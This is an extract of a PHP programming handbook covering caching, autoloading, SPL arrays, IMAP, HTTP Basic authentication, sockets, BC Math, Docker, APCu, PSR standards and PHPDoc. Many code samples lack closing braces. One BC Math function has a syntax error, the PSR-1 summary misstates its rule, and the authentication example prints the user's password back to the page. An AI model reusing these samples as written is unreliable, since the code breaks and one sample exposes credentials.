Let us now have a look on using clustering in real life scenario

Clustering is widely used in pattern recognition and data mining. Consider that you have a content

publishing application. Now in order to retain your users they should look at content that they love.
Let us

assume for the sake of simplicity that if they are on a specific webpage for more that a minute and
they

scoll to bottom then they love that content. Now each of your content will be having a unique
identifier

with it and so will the user. Make cluster based on that and you will get to know which segment of
users

have a similar content taste. This in turn could be used in recommendation system where you can

assume that if some users of same cluster love the article then so will others and that can be shown as

recommendations on your application.

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Chapter 78: Cache

Section 78.1: Caching using memcache

Memcache is a distributed object caching system and uses key-value for storing small data. Before you
start calling

Memcache code into PHP, you need to make sure that it is installed. That can be done using
class_exists method in

php. Once it is validated that the module is installed, you start with connecting to memcache server
instance.

if (class_exists('Memcache')) {

$cache = new Memcache();

$cache->connect('localhost',11211);

}else {

print "Not connected to cache server";

}
This will validate that Memcache php-drivers are installed and connect to memcache server instance
running on

localhost.

Memcache runs as a daemon and is called memcached

In the example above we only connected to a single instance, but you can also connect to multiple
servers using

if (class_exists('Memcache')) {

$cache = new Memcache();

$cache->addServer('192.168.0.100',11211);

$cache->addServer('192.168.0.101',11211);

Note that in this case unlike connect , there won't be any active connection until you try to store or
fetch a value.

In caching there are three important operations that needs to be implemented

1. Store data : Add new data to memcached server

2. Get data : Fetch data from memcached server

3. Delete data : Delete already existing data from memcached server

Store data

$cache or memcached class object has a set method that takes in a key,value and time to save the
value for (ttl).

$cache->set($key, $value, 0, $ttl);

Here $ttl or time to live is time in seconds that you want memcache to store the pair on server.

Get data

$cache or memcached class object has a get method that takes in a key and returns the corresponding
value.

$value = $cache->get($key);

In case there is no value set for the key it will return null
GoalKicker.com – PHP Notes for Professionals 378

Delete data

Sometimes you might have the need to delete some cache value.$cache or memcache instance has a
delete

method that can be used for the same.

$cache->delete($key);

Small scenario for caching

Let us assume a simple blog. It will be having multiple posts on landing page that get fetched from
database with

each page load. In order to reduce the sql queries we can use memcached to cache the posts. Here is a
very small

implementation

if (class_exists('Memcache')) {

$cache = new Memcache();

$cache->connect('localhost',11211);

if(($data = $cache->get('posts')) != null) {

// Cache hit

// Render from cache

} else {

// Cache miss

// Query database and save results to database

// Assuming $posts is array of posts retrieved from database

$cache->set('posts', $posts,0,$ttl);

}else {

die("Error while connecting to cache server");

}
Section 78.2: Cache Using APC Cache

The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. Its goal is to provide a free,
open, and

robust framework for caching and optimizing PHP intermediate code.

installation

sudo apt-get install php-apc

sudo /etc/init.d/apache2 restart

Add Cache:

apc_add ($key, $value , $ttl);

$key = unique cache key

$value = cache value

$ttl = Time To Live;

Delete Cache:

apc_delete($key);

Set Cache Example:

if (apc_exists($key)) {

echo "Key exists: ";

echo apc_fetch($key);

} else {

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echo "Key does not exist";

apc_add ($key, $value , $ttl);

Performance:

APC is nearly 5 times faster than Memcached.

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Chapter 79: Autoloading Primer

Section 79.1: Autoloading as part of a framework solution

// autoload.php

spl_autoload_register(function ($class) {

require_once "$class.php";

});

// Animal.php

class Animal {

public function eats($food) {

echo "Yum, $food!";

// Ruminant.php

class Ruminant extends Animal {

public function eats($food) {

if ('grass' === $food) {

parent::eats($food);

} else {

echo "Yuck, $food!";

// Cow.php

class Cow extends Ruminant {

}
// pasture.php

require 'autoload.php';

$animal = new Cow;

$animal->eats('grass');

Thanks to our generic autoloader, we have access to any class that follows our autoloader naming
convention. In

this example, our convention is simple: the desired class must have a file in the same directory named
for the class

and ending in ".php". Notice that the class name exactly matches the file name.

Without autoloading, we would have to manually require base classes. If we built an entire zoo of
animals, we'd

have thousands of require statements that could more easily be replaced with a single autoloader.

In the final analysis, PHP autoloading is a mechanism to help you write less mechanical code so you
can focus on

solving business problems. All you have to do is define a strategy that maps class name to file name.
You can roll your

own autoloading strategy, as done here. Or, you can use any of the standard ones the PHP community
has

adopted: PSR-0 or PSR-4. Or, you can use composer to generically define and manage these
dependencies.

Section 79.2: Inline class definition, no loading required

// zoo.php

class Animal {

public function eats($food) {

echo "Yum, $food!";

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$animal = new Animal();

$animal->eats('meat');

PHP knows what Animal is before executing new Animal, because PHP reads source files top-to-
bottom. But what if

we wanted to create new Animals in many places, not just in the source file where it's defined? To do
that, we need

to load the class definition.

Section 79.3: Manual class loading with require

// Animal.php

class Animal {

public function eats($food) {

echo "Yum, $food!";

// zoo.php

require 'Animal.php';

$animal = new Animal;

$animal->eats('slop');

// aquarium.php

require 'Animal.php';

$animal = new Animal;

$animal->eats('shrimp');

Here we have three files. One file ("Animal.php") defines the class. This file has no side effects besides
defining the

class and neatly keeps all the knowledge about an "Animal" in one place. It's easily version controlled.
It's easily

reused.
Two files consume the "Animal.php" file by manually require-ing the file. Again, PHP reads source files
top-tobottom, so the require goes and finds the "Animal.php" file and makes the Animal class
definition available before

calling new Animal.

Now imagine we had dozens or hundreds of cases where we wanted to perform new Animal. That
would require

(pun-intended) many, many require statements that are very tedious to code.

Section 79.4: Autoloading replaces manual class definition

loading

// autoload.php

spl_autoload_register(function ($class) {

require_once "$class.php";

});

// Animal.php

class Animal {

public function eats($food) {

echo "Yum, $food!";

// zoo.php

require 'autoload.php';

$animal = new Animal;

$animal->eats('slop');

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// aquarium.php

require 'autoload.php';

$animal = new Animal;

$animal->eats('shrimp');

Compare this to the other examples. Notice how require "Animal.php" was replaced with require

"autoload.php". We're still including an external file at run-time, but rather than including a specific
class definition

we're including logic that can include any class. It's a level of indirection that eases our development.
Instead of

writing one require for every class we need, we write one require for all classes. We can replace N
require with 1

require.

The magic happens with spl_autoload_register. This PHP function takes a closure and adds the closure
to a queue of

closures. When PHP encounters a class for which it has no definition, PHP hands the class name to
each closure in

the queue. If the class exists after calling a closure, PHP returns to its previous business. If the class
fails to exist

after trying the entire queue, PHP crashes with "Class 'Whatever' not found."

Section 79.5: Autoloading with Composer

Composer generates a vendor/autoload.php file.

You might simply include this file and you will get autoloading for free.

require __DIR__ . '/vendor/autoload.php';

This makes working with third-party dependencies very easy.

You can also add your own code to the Autoloader by adding an autoload section to your
composer.json.

"autoload": {

"psr-4": {"YourApplicationNamespace\\": "src/"}

}
In this section you define the autoload mappings. In this example its a PSR-4 mapping of a namespace
to a

directory: the /src directory resides in your projects root folder, on the same level as the /vendor
directory is. An

example filename would be src/Foo.php containing an YourApplicationNamespace\Foo class.

Important: After adding new entries to the autoload section, you have to re-run the command dump-
autoload to

re-generate and update the vendor/autoload.php file with the new information.

In addition to PSR-4 autoloading, Composer also supports PSR-0, classmap and files autoloading. See
the

autoload reference for more information.

When you including the /vendor/autoload.php file it will return an instance of the Composer
Autoloader. You

might store the return value of the include call in a variable and add more namespaces. This can be
useful for

autoloading classes in a test suite, for example.

$loader = require __DIR__ . '/vendor/autoload.php';

$loader->add('Application\\Test\\', __DIR__);

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Chapter 80: SPL data structures

Section 80.1: SplFixedArray

Difference from PHP Array

PHP's default Array type is actually implemented as ordered hash maps, which allow us to create
arrays that consist

of key/value pairs where values can be of any type and keys can be either numbers or strings. This is
not

traditionally how arrays are created, however.

So as you can see from this illustration a normal PHP array can be viewed more like an an ordered set
of key/value
pairs, where each key can map to any value. Notice in this array we have keys that are both numbers
and strings, as

well as values of different types and the key has no bearing on the order of the elements.

$arr = [

9 => "foo",

1 => 4.2,

"bar" => null,

];

GoalKicker.com – PHP Notes for Professionals 384

foreach($arr as $key => $value) {

echo "$key => $value\n";

So the above code would give us exactly what we'd expect.

9 => foo 1 => 4.2 bar =>

Regular PHP arrays are also dynamically sized for us. They grow and shrink as we push and pop values
to and from

the array, automatically.

However, in a traditional array the size is fixed and consists entirely of the same type of value. Also,
rather than

keys each value is access by its index, which can be deduced by its offset in the array.

Since we would know the size of a given type and the fixed size of the array an offset is then the type
size * n

were n represents the value's position in the array. So in the example above $arr[0] gives us 1, the first
element in

the array and $arr[1] gives us 2, and so on.

SplFixedArray, however, doesn't restrict the type of values. It only restricts the keys to number types.
It's also of a

fixed size.
This makes SplFixedArrays more efficient than normal PHP arrays in one particular way. They are more
compact so

they require less memory.

Instantiating the array

SplFixedArray is implemented as an object, but it can be accessed with the same familiar syntax that
you access a

normal PHP array since they implement the ArrayAccess interface. They also implement Countable
and Iterator

interfaces so they behave the same way you'd be used to arrays behaving in PHP (i.e. things like
count($arr) and

foreach($arr as $k => $v) work the same way for SplFixedArray as they do normal arrays in PHP.

The SplFixedArray constructor takes one argument, which is the size of the array.

$arr = new SplFixedArray(4);

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$arr[0] = "foo";

$arr[1] = "bar";

$arr[2] = "baz";

foreach($arr as $key => $value) {

echo "$key => $value\n";

This gives you what you would expect.

0 => foo 1 => bar 2 => baz 3 =>

This also works as expected.

var_dump(count($arr));

Gives us...

int(4)

Notice in SplFixedArray, unlike a normal PHP Array, the key does depict the order of the element in our
array,

because it is a true index and not just a map.

Resizing the array

Just keep in mind that because the array is of a fixed size, count will always return the same value. So
while

unset($arr[1]) will result in $arr[1] === null, count($arr) still remains 4.

So to resize the array you will need to call on the setSize method.

$arr->setSize(3);

var_dump(count($arr));

foreach($arr as $key => $value) {

echo "$key => $value\n";

Now we get...

int(3) 0 => foo 1 => 2 => baz Import to SplFixedArray & Export from SplFixedArray

You can also import/export a normal PHP Array into and out of an SplFixedArray with the fromArray
and toArray

methods.

$array = [1,2,3,4,5];

$fixedArray = SplFixedArray::fromArray($array);

foreach($fixedArray as $value) {

echo $value, "\n";

12345

Going the other way.

$fixedArray = new SplFixedArray(5);

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$fixedArray[0] = 1;

$fixedArray[1] = 2;

$fixedArray[2] = 3;

$fixedArray[3] = 4;

$fixedArray[4] = 5;

$array = $fixedArray->toArray();

foreach($array as $value) {

echo $value, "\n";

12345

GoalKicker.com – PHP Notes for Professionals 387

Chapter 81: IMAP

Section 81.1: Connecting to a mailbox

To do anything with an IMAP account you need to connect to it first. To do this you need to specify
some required

parameters:

The server name or IP address of the mail server

The port you wish to connect on

IMAP is 143 or 993 (secure)

POP is 110 or 995 (secure)

SMTP is 25 or 465 (secure)

NNTP is 119 or 563 (secure)

Connection flags (see below)

Flag Description Options Default

/service=service Which service to use

imap,
pop3,

nntp, smtp

imap

/user=user remote user name for login on the server

/authuser=user

remote authentication user; if specified this is the user name whose

password is used (e.g. administrator)

/anonymous remote access as anonymous user

/debug record protocol telemetry in application's debug log disabled

/secure do not transmit a plaintext password over the network

/norsh do not use rsh or ssh to establish a preauthenticated IMAP session

/ssl use the Secure Socket Layer to encrypt the session

/validate-cert certificates from TLS/SSL server enabled

/novalidate-cert do not validate certificates from TLS/SSL server, needed if server uses selfsigned
certificates. USE WITH CAUTION disabled

/tls force use of start-TLS to encrypt the session, and reject connection to

servers that do not support it

/notls do not do start-TLS to encrypt the session, even with servers that support

it

/readonly request read-only mailbox open (IMAP only; ignored on NNTP, and an

error with SMTP and POP3)

Your connection string will look something like this:

{imap.example.com:993/imap/tls/secure}

Please note that if any of the characters in your connection string is non-ASCII it must be encoded with

utf7_encode($string).

To connect to the mailbox, we use the imap_open command which returns a resource value pointing
to a stream:

<?php

$mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password");

if ($mailbox === false) {

echo "Failed to connect to server";

GoalKicker.com – PHP Notes for Professionals 388

Section 81.2: Install IMAP extension

To use the IMAP functions in PHP you'll need to install the IMAP extension:

Debian/Ubuntu with PHP5

sudo apt-get install php5-imap

sudo php5enmod imap

Debian/Ubuntu with PHP7

sudo apt-get install php7.0-imap

YUM based distro

sudo yum install php-imap

Mac OS X with php5.6

brew reinstall php56 --with-imap

Section 81.3: List all folders in the mailbox

Once you've connected to your mailbox, you'll want to take a look inside. The first useful command is
imap_list. The

first parameter is the resource you acquired from imap_open, the second is your mailbox string and
the third is a

fuzzy search string (* is used to match any pattern).

$folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*");

if ($folders === false) {

echo "Failed to list folders in mailbox";

} else {

print_r($folders);

The output should look similar to this

Array

[0] => {imap.example.com:993/imap/tls/secure}INBOX

[1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent

[2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts

[3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk

[4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash

You can use the third parameter to filter these results like this:

$folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*.Sent");

And now the result only contains entries with .Sent in the name:

Array

[0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent

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Note: Using * as a fuzzy search will return all matches recursively. If you use % it will return only
matches in the

current folder specified.

Section 81.4: Finding messages in the mailbox

You can return a list of all the messages in a mailbox using imap_headers.
<?php

$headers = imap_headers($mailbox);

The result is an array of strings with the following pattern:

[FLAG] [MESSAGE-ID])[DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE]

chars)

Here's a sample of what each line could look like:

A 1)19-Aug-2016 someone@example.com Message Subject (1728 chars)

D 2)19-Aug-2016 someone@example.com RE: Message Subject (22840 chars)

U 3)19-Aug-2016 someone@example.com RE: RE: Message Subject (1876 chars)

N 4)19-Aug-2016 someone@example.com RE: RE: RE: Message Subje (1741 chars)

Symbol Flag Meaning

A Answered Message has been replied to

D Deleted Message is deleted (but not removed)

F Flagged Message is flagged/stared for attention

N New Message is new and has not been seen

R Recent Message is new and has been seen

U Unread Message has not been read

X Draft Message is a draft

Note that this call could take a fair amount of time to run and may return a very large list.

An alternative is to load individual messages as you need them. Your emails are each assigned an ID
from 1 (the

oldest) to the value of imap_num_msg($mailbox).

There are a number of functions to access an email directly, but the simplest way is to use
imap_header which

returns structured header information:

<?php

$header = imap_headerinfo($mailbox , 1);

stdClass Object

[date] => Wed, 19 Oct 2011 17:34:52 +0000

[subject] => Message Subject

[message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490>

[references] => <ec129beef8a113c941ad68bdaae9@example.com>

[toaddress] => Some One Else <someoneelse@example.com>

[to] => Array

[0] => stdClass Object

[personal] => Some One Else

[mailbox] => someonelse

[host] => example.com

GoalKicker.com – PHP Notes for Professionals 390

[fromaddress] => Some One <someone@example.com>

[from] => Array

[0] => stdClass Object

[personal] => Some One

[mailbox] => someone

[host] => example.com

)

[reply_toaddress] => Some One <someone@example.com>

[reply_to] => Array

[0] => stdClass Object

[personal] => Some One

[mailbox] => someone

[host] => example.com

[senderaddress] => Some One <someone@example.com>

[sender] => Array

[0] => stdClass Object

[personal] => Some One

[mailbox] => someone

[host] => example.com

[Recent] =>

[Unseen] =>

[Flagged] =>
[Answered] =>

[Deleted] =>

[Draft] =>

[Msgno] => 1

[MailDate] => 19-Oct-2011 17:34:48 +0000

[Size] => 1728

[udate] => 1319038488

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Chapter 82: HTTP Authentication

In this topic we gonna make a HTTP-Header authenticate script.

Section 82.1: Simple authenticate

PLEASE NOTE: ONLY PUT THIS CODE IN THE HEADER OF THE PAGE, OTHERWISE IT WILL NOT WORK!

<?php

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="My Realm"');

header('HTTP/1.0 401 Unauthorized');

echo 'Text to send if user hits Cancel button';

exit;

echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";

$user = $_SERVER['PHP_AUTH_USER']; //Lets save the information

echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";

$pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)!

?>
//You html page

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Chapter 83: WebSockets

Usage of socket extension implements a low-level interface to the socket communication functions
based on the

popular BSD sockets, providing the possibility to act as a socket server as well as a client.

Section 83.1: Simple TCP/IP server

Minimal example based on PHP manual example found here:

http://php.net/manual/en/sockets.examples.php

Create a websocket script that listens to Port 5000 Use putty, terminal to run telnet 127.0.0.1 5000
(localhost).

This script replies with the message you sent (as a ping-back)

<?php

set_time_limit(0); // disable timeout

ob_implicit_flush(); // disable output caching

// Settings

$address = '127.0.0.1';

$port = 5000;

/*

function socket_create ( int $domain , int $type , int $protocol )

$domain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol

$protocol can be SOL_TCP, SOL_UDP (TCP/UDP)

@returns true on success

*/

if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

echo "Couldn't create socket".socket_strerror(socket_last_error())."\n";

}
/*

socket_bind ( resource $socket , string $address [, int $port = 0 ] )

Bind socket to listen to address and port

*/

if (socket_bind($socket, $address, $port) === false) {

echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n";

if (socket_listen($socket, 5) === false) {

echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n";

do {

if (($msgsock = socket_accept($socket)) === false) {

echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n";

break;

/* Send Welcome message. */

$msg = "\nPHP Websocket \n";

// Listen to user input

do {

if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {

echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n";

GoalKicker.com – PHP Notes for Professionals 393

break 2;

if (!$buf = trim($buf)) {
continue;

// Reply to user with their message

$talkback = "PHP: You said '$buf'.\n";

socket_write($msgsock, $talkback, strlen($talkback));

// Print message in terminal

echo "$buf\n";

} while (true);

socket_close($msgsock);

} while (true);

socket_close($socket);

?>

GoalKicker.com – PHP Notes for Professionals 394

Chapter 84: BC Math (Binary Calculator)

bcadd Add two arbitrary precision numbers.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bccomp Compare two arbitrary precision numbers.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place which will be used in
the

comparison.

bcdiv Divide two arbitrary precision numbers.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bcmod Get modulus of an arbitrary precision number.

left_operand The left operand, as a string.

modulus The modulus, as a string.

bcmul Multiply two arbitrary precision numbers.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bcpow Raise an arbitrary precision number to another.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bcpowmod Raise an arbitrary precision number to another, reduced by a specified modulus.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

modulus The modulus, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bcscale Set default scale parameter for all bc math functions.

scale The scale factor.

bcsqrt Get the square root of an arbitrary precision number.

operand The operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

bcsub Subtract one arbitrary precision number from another.

left_operand The left operand, as a string.

right_operand The right operand, as a string.

scale A optional parameter to set the number of digits after the decimal place in the result.

The Binary Calculator can be used to calculate with numbers of any size and precision up to
2147483647-1

decimals, in string format. The Binary Calculator is more precise than the float calculation of PHP.

Section 84.1: Using bcmath to read/write a binary long on 32-

GoalKicker.com – PHP Notes for Professionals 395

bit system

On 32-bit systems, integers greater than 0x7FFFFFFF cannot be stored primitively, while integers
between

0x0000000080000000 and 0x7FFFFFFFFFFFFFFF can be stored primitively on 64-bit systems but not 32-
bit systems

(signed long long). However, since 64-bit systems and many other languages support storing signed
long long

integers, it is sometimes necessary to store this range of integers in exact value. There are several ways
to do so,

such as creating an array with two numbers, or converting the integer into its decimal human-readable
form. This

has several advantages, such as the convenience in presenting to the user, and the ability to
manipulate it with

bcmath directly.

The pack/unpack methods can be used to convert between binary bytes and decimal form of the
numbers (both of

type string, but one is binary and one is ASCII), but they will always try to cast the ASCII string into a
32-bit int on

32-bit systems. The following snippet provides an alternative:

/** Use pack("J") or pack("p") for 64-bit systems */

function writeLong(string $ascii) : string {

if(bccomp($ascii, "0") === -1) { // if $ascii < 0

// 18446744073709551616 is equal to (1 << 64)

// remember to add the quotes, or the number will be parsed as a float literal

$ascii = bcadd($ascii, "18446744073709551616");

// "n" is big-endian 16-bit unsigned short. Use "v" for small-endian.

return pack("n", bcmod(bcdiv($ascii, "281474976710656"), "65536")) .

pack("n", bcmod(bcdiv($ascii, "4294967296"), "65536")) .

pack("n", bcdiv($ascii, "65536"), "65536")) .

pack("n", bcmod($ascii, "65536"));

function readLong(string $binary) : string {

$result = "0";

$result = bcadd($result, unpack("n", substr($binary, 0, 2)));

$result = bcmul($result, "65536");

$result = bcadd($result, unpack("n", substr($binary, 2, 2)));

$result = bcmul($result, "65536");

$result = bcadd($result, unpack("n", substr($binary, 4, 2)));

$result = bcmul($result, "65536");

$result = bcadd($result, unpack("n", substr($binary, 6, 2)));

// if $binary is a signed long long

// 9223372036854775808 is equal to (1 << 63) (note that this expression actually does not work

even on 64-bit systems)

if(bccomp($result, "9223372036854775808") !== -1) { // if $result >= 9223372036854775807

$result = bcsub($result, "18446744073709551616"); // $result -= (1 << 64)

}

return $result;

Section 84.2: Comparison between BCMath and float

arithmetic operations

bcadd vs float+float

var_dump('10' + '-9.99'); // float(0.0099999999999998)

var_dump(10 + -9.99); // float(0.0099999999999998)

var_dump(10.00 + -9.99); // float(0.0099999999999998)

var_dump(bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000"

bcsub vs float-float

GoalKicker.com – PHP Notes for Professionals 396

var_dump('10' - '9.99'); // float(0.0099999999999998)

var_dump(10 - 9.99); // float(0.0099999999999998)

var_dump(10.00 - 9.99); // float(0.0099999999999998)

var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000"

bcmul vs int*int

var_dump('5.00' * '2.00'); // float(10)

var_dump(5.00 * 2.00); // float(10)

var_dump(bcmul('5.0', '2', 20)); // string(4) "10.0"

var_dump(bcmul('5.000', '2.00', 20)); // string(8) "10.00000"

var_dump(bcmul('5', '2', 20)); // string(2) "10"

bcmul vs float*float

var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259)

var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259)

var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289"

bcdiv vs float/float

var_dump('10' / '3.01'); // float(3.3222591362126)

var_dump(10 / 3.01); // float(3.3222591362126)

var_dump(10.00 / 3.01); // float(3.3222591362126)

var_dump(bcdiv('10', '3.01', 20)); // string(22) "3.32225913621262458471"

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Chapter 85: Docker deployment

Docker is a very popular container solution being used widely for deploying code in production
environments. It

makes it easier to Manage and Scale web-applications and microservices.

Section 85.1: Get docker image for php

In order to deploy the application on docker, first we need to get the image from registry.

docker pull php

This will get you the latest version of image from official php repository. Generally speaking, PHP is
usually used to

deploy web-applications so we need an http server to go with the image. php:7.0-apache image comes
preinstalled with apache to make deployment hastle free.

Section 85.2: Writing dockerfile

Dockerfile is used to configure the custom image that we will be building with the web-application
codes. Create a

new file Dockerfile in the root folder of project and then put the following contents in the same

FROM php:7.0-apache

COPY /etc/php/php.ini /usr/local/etc/php/

COPY . /var/www/html/

EXPOSE 80

The first line is pretty straight forward and is used to describe which image should be used to build out
new image.

The same could be changed to any other specific version of PHP from the registry.

Second line is simply to upload php.ini file to our image. You can always change that file to some other
custom file

location.

The third line would copy the codes in current directory to /var/www/html which is our webroot.
Remember

/var/www/html inside the image.

The last line would simply open up port 80 inside the docker container.

Ignoring files

In some instances there might be some files that you don't want on server like environment
configuration etc. Let

us assume that we have our environment in .env. Now in order to ignore this file, we can simply add it
to

.dockerignore in the root folder of our codebase.

Section 85.3: Building image

Building image is not something specific to php, but in order to build the image that we described
above, we can

simply use

docker build -t <Image name> .

Once the image is built, you can verify the same using

docker images

GoalKicker.com – PHP Notes for Professionals 398

Which would list out all the images installed in your system.

Section 85.4: Starting application container

Once we have an image ready, we can start and serve the same. In order to create a container from
the image, use

docker run -p 80:80 -d <Image name>

In the command above -p 80:80 would forward port 80 of your server to port 80 of the container. The
flag -d tells

that the container should run as background job. The final specifies which image should be used to
build the

container.

Checking container

In order to check running containers, simply use

docker ps

This will list out all the containers running on docker daemon.

Application logs

Logs are very important to debug the application. In order to check on them use

docker logs <Container id>

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Chapter 86: APCu

APCu is a shared memory key-value store for PHP. The memory is shared between PHP-FPM processes
of the same

pool. Stored data persists between requests.

Section 86.1: Iterating over Entries

The APCUIterator allows to iterate over entries in the cache:

foreach (new APCUIterator() as $entry) {

print_r($entry);

The iterator can be initialized with an optional regular expression to select only entries with matching
keys:

foreach (new APCUIterator($regex) as $entry) {

print_r($entry);

}
Information about a single cache entry can be obtained via:

$key = '…';

$regex = '(^' . preg_quote($key) . '$)';

print_r((new APCUIterator($regex))->current());

Section 86.2: Simple storage and retrieval

apcu_store can be used to store, apcu_fetch to retrieve values:

$key = 'Hello';

$value = 'World';

apcu_store($key, $value);

print(apcu_fetch('Hello')); // 'World'

Section 86.3: Store information

apcu_cache_info provides information about the store and its entries:

print_r(apcu_cache_info());

Note that invoking apcu_cache_info() without limit will return the complete data currently stored.

To only get the meta data, use apcu_cache_info(true).

To get information about certain cache entries better use APCUIterator.

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Chapter 87: PHP Built in server

Column Column

-S Tell the php that we want a webserver

<hostname>:<port> The host name and the por to be used

-t Public directory

<filename> The routing script

Learn how to use the built in server to develop and test your application without the need of other
tools like xamp,

wamp, etc.
Section 87.1: Running the built in server

php -S localhost:80

PHP 7.1.7 Development Server started at Fri Jul 14 15:11:05 2017

Listening on http://localhost:80

Document root is C:\projetos\repgeral

Press Ctrl-C to quit.

This is the simplest way to start a PHP server that responds to request made to localhost at the port
80.

The -S tells that we are starting a webserver.

The localhost:80 indicates the host that we are answering and the port. You can use other
combinations like:

mymachine:80 - will listen on the address mymachine and port 80;

127.0.0.1:8080 - will listen on the address 127.0.0.1 and port 8080;

Section 87.2: built in server with specific directory and router

script

php -S localhost:80 -t project/public router.php

PHP 7.1.7 Development Server started at Fri Jul 14 15:22:25 2017

Listening on http://localhost:80

Document root is /home/project/public

Press Ctrl-C to quit.

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Chapter 88: PSR

The PSR (PHP Standards Recommendation) is a series of recommendations put together by the FIG
(Framework

Interop Group).

"The idea behind the group is for project representatives to talk about the commonalities between
our projects and
find ways we can work together" - FIG FAQ

PSRs can be in the following states: Accepted, Review, Draft or Deprecated.

Section 88.1: PSR-4: Autoloader

PSR-4 is an accepted recommendation that outlines the standard for autoloading classes via
filenames. This

recommendation is recommended as the alternative to the earlier (and now deprecated) PSR-0.

The fully qualified class name should match the following requirement:

\<NamespaceName>(\<SubNamespaceNames>)*\<ClassName>

It MUST contain a top level vendor namespace (E.g.: Alphabet)

It MAY contain one or more sub-namespaces (E.g.: Google\AdWord)

It MUST contain an ending class name (E.g.: KeywordPlanner)

Thus the final class name would be Alphabet\Google\AdWord\KeywordPlanner. The fully qualified
class name

should also translate into a meaningful file path therefore Alphabet\Google\AdWord\KeywordPlanner

would be

located in [path_to_source]/Alphabet/Google/AdWord/KeywordPlanner.php

Starting with PHP 5.3.0, a custom autoloader function can be defined to load files based on the path
and filename

pattern that you define.

# Edit your php to include something like:

spl_autoload_register(function ($class) { include 'classes/' . $class . '.class.php';});

Replacing the location ('classes/') and filename extension ('.class.php') with values that apply to your
structure.

Composer package manager supports PSR-4 which means, if you follow the standard, you can load
your classes in

your project automatically using Composer's vendor autoloader.

# Edit the composer.json file to include

{
"autoload": {

"psr-4": {

"Alphabet\\": "[path_to_source]"

Regenerate the autoloader file

$ composer dump-autoload

Now in your code you can do the following:

<?php

GoalKicker.com – PHP Notes for Professionals 402

require __DIR__ . '/vendor/autoload.php';

$KeywordPlanner = new Alphabet\Google\AdWord\KeywordPlanner();

Section 88.2: PSR-1: Basic Coding Standard

PSR-1 is an accepted recommendation and outlines a basic standard recommendation for how code
should be

written.

It outlines naming convetions for classes, methods and constants.

It makes adopting PSR-0 or PSR-4 recommendations a requirement.

It indicates which PHP tags to use: <?php and <?= but not <?.

It specifies what file encoding to use (UTF8).

It also states that files should either declare new symbols (classes, functions, constants, etc.) and
cause no

other side effects, or execute logic with side effects and not define symbols, but do both.

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Chapter 89: PHPDoc

Section 89.1: Describing a variable

The @var keyword can be used to describe the type and usage of:

a class property

a local or global variable

a class or global constant

class Example {

/** @var string This is something that stays the same */

const UNCHANGING = "Untouchable";

/** @var string $some_str This is some string */

public $some_str;

/**

* @var array $stuff This is a collection of stuff

* @var array $nonsense These are nonsense

*/

private $stuff, $nonsense;

...

The type can be one of the built-in PHP types, or a user-defined class, including namespaces.

The name of the variable should be included, but can be omitted if the docblock applies to only one
item.

Section 89.2: Adding metadata to functions

Function level annotations help IDEs identify return values or potentially dangerous code

/**

* Adds two numbers together.

* @param Int $a First parameter to add

* @param Int $b Second parameter to add

* @return Int

*/

function sum($a, $b)

return (int) $a + $b;

/**

* Don't run me! I will always raise an exception.

* @throws Exception Always

*/

function dangerousCode()

throw new Exception('Ouch, that was dangerous!');

/**

* Old structures should be deprecated so people know not to use them.

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* @deprecated

*/

function oldCode()

mysql_connect(/* ... */);

}

Section 89.3: Describing parameters

/**

* Parameters

* @param int $int

* @param string $string

* @param array $array

* @param bool $bool

*/

function demo_param($int, $string, $array, $bool)

/**

* Parameters - Optional / Defaults

* @param int $int

* @param string $string

* @param array $array

* @param bool $bool

*/

function demo_param_optional($int = 5, $string = 'foo', $array = [], $bool = false)

/**
* Parameters - Arrays

* @param array $mixed

* @param int[] $integers

* @param string[] $strings

* @param bool[] $bools

* @param string[]|int[] $strings_or_integers

*/

function demo_param_arrays($mixed,$integers, $strings, $bools, $strings_or_integers)

/**

* Parameters - Complex

* @param array $config

* <pre>

* $params = [

* 'hostname' => (string) DB hostname. Required.

* 'database' => (string) DB name. Required.

* 'username' => (string) DB username. Required.

*]

* </pre>

*/

function demo_param_complex($config)

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}

Section 89.4: Collections

PSR-5 proposes a form of Generics-style notation for collections.

Generics Syntax

Type[]

Type<Type>

Type<Type[, Type]...>

Type<Type[|Type]...>

Values in a Collection MAY even be another array and even another Collection.

